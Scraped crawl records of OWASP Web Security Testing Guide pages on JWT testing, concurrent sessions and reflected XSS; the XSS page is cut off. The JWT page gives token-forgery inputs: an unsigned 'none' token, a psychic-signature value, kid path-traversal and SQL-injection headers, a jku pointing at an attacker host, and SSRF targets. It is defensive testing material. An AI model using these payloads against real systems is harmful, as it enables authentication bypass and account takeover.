"Key ID (kid) Manipulation"}, {"uroven": 4, "text": "Directory Traversal"}, {"uroven": 4, "text": "Command/SQL Injection"}, {"uroven": 4, "text": "Test Procedure"}, {"uroven": 3, "text": "Token Audience (aud) and Issuer (iss) Confusion"}, {"uroven": 4, "text": "Test Procedure"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# JSON Web Tokens\n\n| ID |\n| --- |\n| WSTG-SESS-10 |\n\n## Summary\n\nJSON Web Tokens (JWTs) are cryptographically signed JSON tokens, intended to share claims between systems. They are frequently used as authentication or session tokens, particularly on REST APIs.\n\nJWTs are a common source of vulnerabilities, both in how they are in implemented in applications, and in the underlying libraries. As they are used for authentication, a vulnerability can easily result in a complete compromise of the application.\n\n## Test Objectives\n\n- Determine whether the JWTs expose sensitive information.\n- Determine whether the JWTs can be tampered with or modified.\n\n## How to Test\n\n### Overview\n\nJWTs are made up of three components:\n\n- The header\n- The payload (or body)\n- The signature\n\nEach component is base64 encoded, and they are separated by periods (`.`). Keep in mind the base64 encoding used in a JWT strips out the equals signs (`=`), so you may need to add these back in to decode the sections.\n\n### Analyse the Contents\n\nThe header defines the type of token (typically `JWT`), and the algorithm used for the signature. An example decoded header is shown below:\n\n```\n{ \"alg\": \"HS256\", \"typ\": \"JWT\" } \n```\n\nThere are three main types of algorithms that are used to calculate the signatures:\n\n| Algorithm | Description |\n| --- | --- |\n| HSxxx | HMAC using a secret key and SHA-xxx. |\n| RSxxx and PSxxx | Public key signature using RSA. |\n| ESxxx | Public key signature using ECDSA. |\n\nThere are also a wide range of [other algorithms](https://www.iana.org/assignments/jose/jose.xhtml#web-signature-encryption-algorithms) which may be used for encrypted tokens (JWEs), although these are less common.\n\n#### Payload\n\nThe payload of the JWT contains the actual data. An example payload is shown below:\n\n```\n{ \"username\": \"administrator\", \"is_admin\": true, \"iat\": 1516239022, \"exp\": 1516242622 } \n```\n\nThe payload is it not usually encrypted, so review it to determine whether there is any sensitive of potentially inappropriate data included within it.\n\nThis JWT includes the username and administrative status of the user, as well as two standard claims (`iat` and `exp`). These claims are defined in [RFC 7519](https://tools.ietf.org/html/rfc7519#section-4.1), a brief summary of them is given in the table below:\n\n| Claim | Full Name | Description |\n| --- | --- | --- |\n| `iss` | Issuer | The identity of the party who issued the token. |\n| `iat` | Issued At | The Unix timestamp of when the token was issued. |\n| `nbf` | Not Before | The Unix timestamp of earliest date that the token can be used. |\n| `exp` | Expires | The Unix timestamp of when the token expires. |\n\n#### Signature\n\nThe signature is calculated using the algorithm defined in the JWT header, and then base64 encoded and appended to the token. Modifying any part of the JWT should cause the signature to be invalid, and the token to be rejected by the server.\n\n### Review Usage\n\nAs well as being cryptographically secure itself, the JWT also needs to be stored and sent in a secure manner. This should include checks that:\n\n- It is always [sent over encrypted (HTTPS) connections](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Weak_Cryptography/03-Sensitive_Information_Sent_via_Unencrypted_Channels) .\n- If it is stored in a cookie, then it should be [marked with appropriate attributes](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/02-Cookies_Attributes) .\n\nThe validity of the JWT should also be reviewed, based on the `iat`, `nbf` and `exp` claims, to determine that:\n\n- The JWT has a reasonable lifespan for the application.\n- Expired tokens are rejected by the application.\n\n### Signature Verification\n\nOne of the most serious vulnerabilities encountered with JWTs is when the application fails to validate that the signature is correct. This usually occurs when a developer uses a function such as the Node.js `jwt.decode()` function, which simply decodes the body of the JWT, rather than `jwt.verify()`, which verifies the signature before decoding the JWT.\n\nThis can be easily tested for by modifying the body of the JWT without changing anything in the header or signature, submitting it in a request to see if the application accepts it.\n\n#### The None Algorithm\n\nAs well as the public key and HMAC-based algorithms, the JWT specification also defines a signature algorithm called `none`. As the name suggests, this means that there is no signature for the JWT, allowing it to be modified.\n\nThis can be tested by modifying the signature algorithm (`alg`) in the JWT header to `none`, as shown in the example below:\n\n```\n{ \"alg\": \"none\", \"typ\": \"JWT\" } \n```\n\nThe header and payload are then re-encoded with base64, and the signature is removed (leaving the trailing period). Using the header above, and the payload listed in the payload section, this would give the following JWT:\n\n```\neyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0K.eyJ1c2VybmFtZSI6ImFkbWluaW5pc3RyYXRvciIsImlzX2FkbWluIjp0cnVlLCJpYXQiOjE1MTYyMzkwMjIsImV4cCI6MTUxNjI0MjYyMn0.\n```\n\nSome implementations try and avoid this by explicitly blocking the use of the `none` algorithm. If this is done in a case-insensitive way, it may be possible to bypass by specifying an algorithm such as `NoNe`.\n\n#### ECDSA “Psychic Signatures”\n\nA vulnerability was identified in Java version 15 to 18 where they did not correctly validate ECDSA signatures in some circumstances ([CVE-2022-21449](https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/), known as “psychic signatures”). If one of these vulnerable versions is used to parse a JWT using the `ES256` algorithm, this can be used to completely bypass the signature verification by tampering the body and then replacing the signature with the following value:\n\n```\nMAYCAQACAQA\n```\n\nResulting in a JWT which looks something like this:\n\n```\neyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6InRydWUifQ.MAYCAQACAQA\n```\n\n### Weak HMAC Keys\n\nIf the JWT is signed using a HMAC-based algorithm (such as HS256), the security of the signature is entirely reliant on the strength of the secret key used in the HMAC.\n\nIf the application is using off-the-shelf or open source software, the first step should be go investigate the code, and see whether there is default HMAC signing key that is used.\n\nIf there isn’t a default, then it may be possible to crack guess or brute-force they key. The simplest way to do this is to use the [crackjwt.py](https://github.com/Sjord/jwtcrack) script, which simply requires the JWT and a dictionary file.\n\nA more powerful option is to convert the JWT into a format that can be used by [John the Ripper](https://github.com/openwall/john) using the [jwt2john.py](https://github.com/Sjord/jwtcrack/blob/master/jwt2john.py) script. John can then be used to carry out much more advanced attacks against the key.\n\nIf the JWT is large, it may exceed the maximum size supported by John. This can be worked around by increasing the value of the `SALT_LIMBS` variable in `/src/hmacSHA256_fmt_plug.c` (or the equivalent file for other HMAC formats) and recompiling John, as discussed in the following [GitHub issue](https://github.com/openwall/john/issues/1904).\n\nIf this key can be obtained, then it is possible to create and sign arbitrary JWTs, which usually results in a complete compromise of the application.\n\n### HMAC vs Public Key Confusion\n\nIf the application uses JWTs with public key based signatures, but does not check that the algorithm is correct, this can potentially exploit this in a signature type confusion attack. In order for this to be successful, the following conditions need to be met:\n\n1. The application must expect the JWT to be signed with a public key based algorithm (i.e, `RSxxx` or `ESxxx` ).\n2. The application must not check which algorithm the JWT is actually using for the signature.\n3. The public key used to verify the JWT must be available to the attacker.\n\nIf all of these conditions are true, then an attacker can use the public key to sign the JWT using a HMAC based algorithm (such as `HS256`). For example, the [Node.js jsonwebtoken](https://www.npmjs.com/package/jsonwebtoken) library uses the same function for both public key and HMAC based tokens, as shown in the example below:\n\n```\n// Verify a JWT signed using RS256 jwt.verify(token, publicKey); // Verify a JWT signed using HS256 jwt.verify(token, secretKey); \n```\n\nThis means that if the JWT is signed using `publicKey` as a secret key for the `HS256` algorithm, the signature will be considered valid.\n\nIn order to exploit this issue, the public key must be obtained. The most common way this can happen is if the application re-uses the same key for both signing JWTs and as part of the TLS certificate. In this case, the key can be downloaded from the server using a command such as the following:\n\n```\nopenssl s_client -connect example.org:443 | openssl x509 -pubkey -noout \n```\n\nAlternatively, the key may be available from a public file on the site at a common location such as `/.well-known/jwks.json`.\n\nIn order to test this, modify the contents of the JWT, and then use the previously obtained public key to sign the JWT using the `HS256` algorithm. This is often difficult to perform when testing without access to the source code or implementation details, because the format of the key must be identical to the one used by the server, so issues such as empty space or CRLF encoding may result in the keys not matching.\n\n### Attacker Provided Public Key (Embedded JWK)\n\nThe [JSON Web Signature (JWS) standard (RFC 7515 §4.1.3)](https://tools.ietf.org/html/rfc7515#section-4.1.3) allows the public key used to verify the signature to be embedded directly into the header using the `jwk` parameter. If the server-side verification library blindly accepts this embedded key without checking it against a truststore or allowlist of known public keys, an attacker can embed their own public key and sign forged tokens with the corresponding private key.\n\nFor example, an attacker can embed their public key directly into the header:\n\n```\n{ \"alg\": \"RS256\", \"typ\": \"JWT\", \"jwk\": { \"kty\": \"RSA\", \"e\": \"AQAB\", \"use\": \"sig\", \"kid\": \"attacker-inline-key\", \"n\": \"u1SucjA342W...\" } } \n```\n\nThere are a variety of scripts and extensions that can be used to generate and inject inline `jwk` headers, such as [jwt_tool](https://github.com/ticarpi/jwt_tool) or the [JSON Web Tokens Burp Extension](https://portswigger.net/bappstore/f923cbf91698420890354c1d8958fee6).\n\n### Key ID (kid) Manipulation\n\nThe `kid` header parameter is typically used to retrieve the key needed to verify the signature from a file system or database. It can be vulnerable to several injection attacks.\n\n#### Directory Traversal\n\nIf the application uses the `kid` parameter to read a key file from the filesystem, an attacker might specify a path to a known empty file, such as `../../../../dev/null` (on Linux) or `nul` (on Windows).\n\nFor example, an attacker can modify the header to point to an empty file:\n\n```\n{ \"alg\": \"HS256\", \"typ\": \"JWT\", \"kid\": \"../../../../../dev/null\" } \n```\n\nSince the content of `/dev/null` is empty, the attacker can then sign the malicious token using an **empty string** as the secret key. If the server is vulnerable, it will read the empty file, use the empty string to verify the signature, and accept the forged token.\n\n#### Command/SQL Injection\n\nIf the `kid` is passed unsanitized to a database query or a system command to retrieve the key, it may be vulnerable to SQL Injection or Command Injection.\n\nFor example, an attacker can inject a SQL payload into the `kid` parameter to control the key returned by the database:\n\n```\n{ \"alg\": \"HS256\", \"typ\": \"JWT\", \"kid\": \"invalid-key' UNION SELECT 'attacker-controlled-key'--\" } \n```\n\nThis allows an attacker to force the application to use a known key (e.g., “attacker-controlled-key”) for verification, enabling them to forge valid tokens.\n\nThe [JSON Web Signature (JWS) specification (RFC 7515 §4.1.2, §4.1.5)](https://tools.ietf.org/html/rfc7515#section-4.1.2) supports header parameters that point to external public key stores:\n\n- `jku` (JWK Set URL): A URI referring to a resource for a set of JSON-encoded public keys.\n- `x5u` (X.509 URL): A URI referring to a resource for a set of X.509 public key certificates.\n\nIf the verification library automatically fetches public keys from the URI specified in the header without enforcing a strict domain allowlist, an attacker can point `jku`/`x5u` at a server they control, host their own key there, and sign forged tokens with the corresponding private key that the server will accept as valid.\n\n#### Test Procedure\n\n1. Generate an RSA keypair on a testing machine.\n2. Host the corresponding public key formatted as a JSON Web Key Set (JWKS) on a public server: `{ \"keys\": [ { \"kty\": \"RSA\", \"e\": \"AQAB\", \"use\": \"sig\", \"kid\": \"test-key-01\", \"alg\": \"RS256\", \"n\": \"u1SucjA342W...\" } ] }`\n3. Modify the target JWT payload with altered claims (e.g., modifying `user_id` or `role` ).\n4. Update the JWT header with the `jku` parameter pointing to the hosted JWKS endpoint and matching `kid`: `{ \"alg\": \"RS256\", \"typ\": \"JWT\", \"jku\": \"https://attacker.example.com/.well-known/jwks.json\", \"kid\": \"test-key-01\" }`\n5. Sign the forged token using the private key and submit it in an authenticated request.\n6. If direct external hostnames are blocked, evaluate URL filtering bypasses:\n - Check for open redirect vulnerabilities on allowed domains (e.g., `https://trusted.example.com/oauth/redirect?url=https://attacker.example.com/jwks.json` ).\n - Check for URL parser discrepancies or path normalization flaws (e.g., `https://trusted.example.com@attacker.example.com/jwks.json` ).\n - Check if the server attempts internal network resolution (SSRF) when pointing `jku` to loopback ( `http://127.0.0.1/` ) or cloud metadata endpoints ( `http://169.254.169.254/` ).\n\nThe `x5u` parameter can be tested the same way: instead of hosting a JWKS document, host an X.509 certificate chain (PEM-encoded) signed with an attacker-controlled key at the target URL. Many libraries extract the public key from the leaf certificate without validating that the chain is trusted or terminates at a pinned root CA, so check whether a self-signed or otherwise untrusted chain is still accepted.\n\n### Token Audience (aud) and Issuer (iss) Confusion\n\nIn distributed microservice and multi-tenant architectures, multiple distinct services frequently share a centralized Identity Provider (IdP). A common authorization flaw occurs when a downstream service validates the cryptographic signature of the token against the IdP, but fails to assert that the token was explicitly issued for that specific service.\n\n- `aud` (Audience): Identifies the recipients that the JWT is intended for ( [RFC 7519 §4.1.3](https://tools.ietf.org/html/rfc7519#section-4.1.3) ).\n- `iss` (Issuer): Identifies the principal that issued the JWT ( [RFC 7519 §4.1.1](https://tools.ietf.org/html/rfc7519#section-4.1.1) ).\n\nIf Service B trusts the IdP signature but omits `aud` validation, an attacker with valid credentials on a low-privilege Service A can capture their token and replay it against Service B.\n\n#### Test Procedure\n\n1. Authenticate to a low-privilege application or tenant registered under the target organization’s Identity Provider.\n2. Intercept and extract the valid issued JWT.\n3. Inspect the payload claims to identify the target `aud` (e.g., `aud: \"client-portal\"` ) and `iss` (e.g., `iss: \"https://auth.example.com/\"` ).\n4. Replay the unmodified token in a request against a high-privilege service, administrative API, or separate tenant (e.g., `https://internal-admin.example.com/api/v1/users` ).\n5. If the high-privilege service accepts the token and performs the action, it is vulnerable to Cross-Service Token Replay due to missing audience validation.\n6. Test issuer confusion separately: if the IdP is multi-tenant or backs multiple environments (e.g., staging and production) with a shared JWKS endpoint, obtain a token issued for a different, lower-trust tenant or application and replay it against the target service. Acceptance indicates that `iss` is either not validated, or validated with a weak comparison (such as prefix or substring matching) instead of exact string equality against the expected trusted issuer.\n\n- [Sensitive Information Sent via Unencrypted Channels](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Weak_Cryptography/03-Sensitive_Information_Sent_via_Unencrypted_Channels) .\n- [Cookie Attributes](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/02-Cookies_Attributes) .\n- [Testing Browser Storage](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/12-Browser_Storage) .\n- [Server-Side Request Forgery](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/19-Server-Side_Request_Forgery) .\n\n## Remediation\n\n- Use a secure and up to date library to handle JWTs.\n- Ensure that the signature is valid, and that it is using the expected algorithm.\n- Do not trust unverified header parameters such as `jku` , `x5u` , or `jwk` without matching against a strict domain/URI allowlist.\n- Always validate standard claims: ensure `exp` is in the future, `nbf` is in the past, `iss` matches the trusted authorization server, and `aud` strictly matches the expected service identifier.\n- Use a strong HMAC key or a unique private key to sign tokens.\n- Ensure that there is no sensitive information exposed in the payload.\n- Ensure that JWTs are securely stored and transmitted.\n- See the [OWASP JSON Web Tokens Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet.html) .\n\n## Tools\n\n- [John the Ripper](https://github.com/openwall/john)\n- [jwt2john](https://github.com/Sjord/jwtcrack)\n- [jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)\n- [JSON Web Tokens Burp Extension](https://portswigger.net/bappstore/f923cbf91698420890354c1d8958fee6)\n- [ZAP JWT Add-on](https://github.com/SasanLabs/owasp-zap-jwt-addon)\n- [jwt_tool](https://github.com/ticarpi/jwt_tool)\n\n## References\n\n- [RFC 7515 JSON Web Signature (JWS)](https://tools.ietf.org/html/rfc7515)\n- [RFC 7519 JSON Web Token (JWT)](https://tools.ietf.org/html/rfc7519)\n- [RFC 8725 JSON Web Token Best Current Practices](https://tools.ietf.org/html/rfc8725)\n- [OWASP JSON Web Token Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 18274, "slov": 2688, "odkazu": 221, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:51", "sha256": "e1fa78a55a6064a122093799b479b66ac26cf95ab0ac47635a2ad88d9352a640", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.iana.org/assignments/jose/jose.xhtml", "https://tools.ietf.org/html/rfc7519", "https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/", "https://github.com/Sjord/jwtcrack", "https://github.com/openwall/john", "https://github.com/Sjord/jwtcrack/blob/master/jwt2john.py", "https://github.com/openwall/john/issues/1904", "https://www.npmjs.com/package/jsonwebtoken", "https://tools.ietf.org/html/rfc7515", "https://github.com/ticarpi/jwt_tool", "https://portswigger.net/bappstore/f923cbf91698420890354c1d8958fee6", "https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_Cheat_Sheet.html", "https://github.com/brendan-rius/c-jwt-cracker", "https://github.com/SasanLabs/owasp-zap-jwt-addon", "https://tools.ietf.org/html/rfc8725", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/11-Concurrent_Sessions", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/11-Concurrent_Sessions", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/11-Concurrent_Sessions", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "06-Session Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Concurrent Sessions"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Recommended Tools"}, {"uroven": 3, "text": "Intercepting Proxy Tools"}], "markdown": "# WSTG - Latest\n\n# Concurrent Sessions\n\n| ID |\n| --- |\n| WSTG-SESS-11 |\n\n## Summary\n\nConcurrent sessions are a common aspect of web applications that enable multiple simultaneous user interactions. This test case aims to evaluate the application’s ability to handle multiple active sessions for a single user. This functionality is essential for effectively managing concurrent user sessions, particularly in sensitive areas such as admin panels containing Personally Identifiable Information (PII), personal user accounts, or APIs reliant on third-party services to enrich user-provided data. The primary objective is to ensure that concurrent sessions align with the application’s security requirements.\n\nUnderstanding the security needs in an application is key to assessing whether enabling concurrent sessions corresponds with the intended features. Allowing concurrent sessions isn’t inherently detrimental and is intentionally permitted in many applications. However, it is crucial to ensure that the application’s functionality is effectively aligned with its security measures concerning concurrent sessions. If concurrent sessions are intended, it is vital to ensure additional security controls, such as managing active sessions, terminating sessions, and potential new session notifications. Conversely, if concurrent sessions are not intended or planned within the application, it is crucial to validate existing checks for session management vulnerabilities.\n\nTo recognize that concurrent sessions are essential, you should consider the following factors:\n\n- Understanding the application’s nature, particularly situations where users might require simultaneous access from different locations or devices.\n- Identifying critical operations, such as financial transactions that require secure access.\n- Handling sensitive data like Personally Identifiable Information (PII), indicating the necessity for secure interactions.\n- Distinguishing between a management panel and a standard user dashboard for normal user access.\n\n## Test Objectives\n\n- Evaluate the application’s session management by assessing the handling of multiple active sessions for a single user account.\n\n## How to Test\n\n1. **Generate Valid Session:**\n - Submit valid credentials (username and password) to create a session.\n - Example HTTP Request: `POST /login HTTP/1.1 Host: www.example.com Content-Length: 32\n \n username=admin&password=admin123`\n - Example Response: `HTTP/1.1 200 OK Set-Cookie: SESSIONID=0add0d8eyYq3HIUy09hhus; Path=/; Secure`\n - Store the generated authentication cookie. In some cases, the generated authentication cookie is replaced by tokens such as JSON Web Tokens (JWT).\n2. **Test for Generating Active Sessions:** Note: Utilizing private browsing mode or multi-account containers might be beneficial for conducting these tests, as they can provide separate environments for testing session management without interference from existing sessions or cookies stored in the browser.\n - Attempt to create multiple authentication cookies by submitting login requests (e.g., one hundred times).\n3. **Test for Validating Active Sessions:**\n - Try accessing the application using the initial session token (e.g., `SESSIONID=0add0d8eyYq3HIUy09hhus` ).\n - If successful authentication occurs with the first generated token, consider it a potential issue indicating inadequate session management.\n\nAlso, there are additional test cases that extend the scope of the testing methodology to include scenarios involving multiple sessions originating from various IPs and locations. These test cases aid in identifying potential vulnerabilities or irregularities in session handling related to geographical or network-based factors:\n\n- Test Multiple sessions from the same IP.\n- Test Multiple sessions from different IPs.\n- Test Multiple sessions from locations that are unlikely or impossible to be visited by the same user in a short period of time (e.g., one session created in a specific country, followed by another session generated five minutes later from a different country).\n\n## Remediation\n\nThe application should monitor and limit the number of active sessions per user account. If the maximum allowed sessions are surpassed, the system must invalidate previous sessions to maintain security. Implementing additional solutions can further mitigate this vulnerability:\n\n1. **User Notification:** Notify users after each successful login to raise awareness of active sessions.\n2. **Session Management Page:** Create a dedicated page to display and allow termination of active sessions for enhanced user control.\n3. **IP Address Tracking:** Track the IP addresses of users who log in to an account and flag any suspicious activity, such as multiple logins from different locations.\n4. **IP Address Restrictions:** Allow users to specify trusted IP addresses or ranges from which they can access their accounts, enhancing security by restricting sessions to known and approved locations.\n\n## Recommended Tools\n\n### Intercepting Proxy Tools\n\n- [Zed Attack Proxy](https://www.zaproxy.org)\n- [Burp Suite Web Proxy](https://portswigger.net)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5130, "slov": 687, "odkazu": 202, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:52", "sha256": "0280da4467894ea48a4e6a9bd3bc4e8b61ec02dac8303cc54c7d5e19c1769a1a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://portswigger.net/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/README", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "06-Session Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "4.6 Session Management"}], "markdown": "# WSTG - Latest\n\n# 4.6 Session Management\n\n4.6.1 [Session Management Schema](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/01-Session_Management_Schema)\n\n4.6.2 [Cookies Attributes](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/02-Cookies_Attributes)\n\n4.6.3 [Session Fixation](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/03-Session_Fixation)\n\n4.6.4 [Exposed Session Variables](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/04-Exposed_Session_Variables)\n\n4.6.5 [Cross Site Request Forgery](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/05-Cross_Site_Request_Forgery)\n\n4.6.6 [Logout Functionality](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/06-Logout_Functionality)\n\n4.6.7 [Session Timeout](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/07-Session_Timeout)\n\n4.6.8 [Session Puzzling](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/08-Session_Puzzling)\n\n4.6.9 [Session Hijacking](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/09-Session_Hijacking)\n\n4.6.10 [JSON Web Tokens](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/10-JSON_Web_Tokens)\n\n4.6.11 [Concurrent Sessions](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/11-Concurrent_Sessions)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1851, "slov": 133, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:40", "sha256": "8e2bfadec29e48e6311f10d4f2e51e358a1ba578ffa08599e1e439e83aa38636", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/01-Reflected_Cross_Site_Scripting", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/01-Reflected_Cross_Site_Scripting", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/01-Reflected_Cross_Site_Scripting", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Reflected Cross Site Scripting"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Detect Input Vectors"}, {"uroven": 4, "text": "Analyze Input Vectors"}, {"uroven": 4, "text": "Check Impact"}, {"uroven": 4, "text": "Example 1"}, {"uroven": 4, "text": "Example 2"}, {"uroven": 3, "text": "Bypass XSS Filters"}, {"uroven": 4, "text": "Example 3: Tag Attribute Value"}, {"uroven": 4, "text": "Example 4: Different Syntax or Encoding"}, {"uroven": 4, "text": "Example 5: Bypassing Non-Recursive Filtering"}, {"uroven": 4, "text": "Example 6: Including External Script"}, {"uroven": 4, "text": "Example 7: HTTP Parameter Pollution (HPP)"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP Resources"}, {"uroven": 3, "text": "Books"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# Reflected Cross Site Scripting\n\n| ID |\n| --- |\n| WSTG-INJT-01 |\n\n## Summary\n\nReflected [Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) occurs when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.\n\nReflected XSS are the most frequent type of XSS attacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.\n\nWhen a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual execution of the offending code using the victim’s browser.\n\nCommonly the attacker’s code is written in the JavaScript language, but other scripting languages such as ActionScript and VBScript can also be used. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).\n\nOne of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out ``\n- `\">`\n\nFor a comprehensive list of potential test strings see the [XSS Filter Evasion Cheat 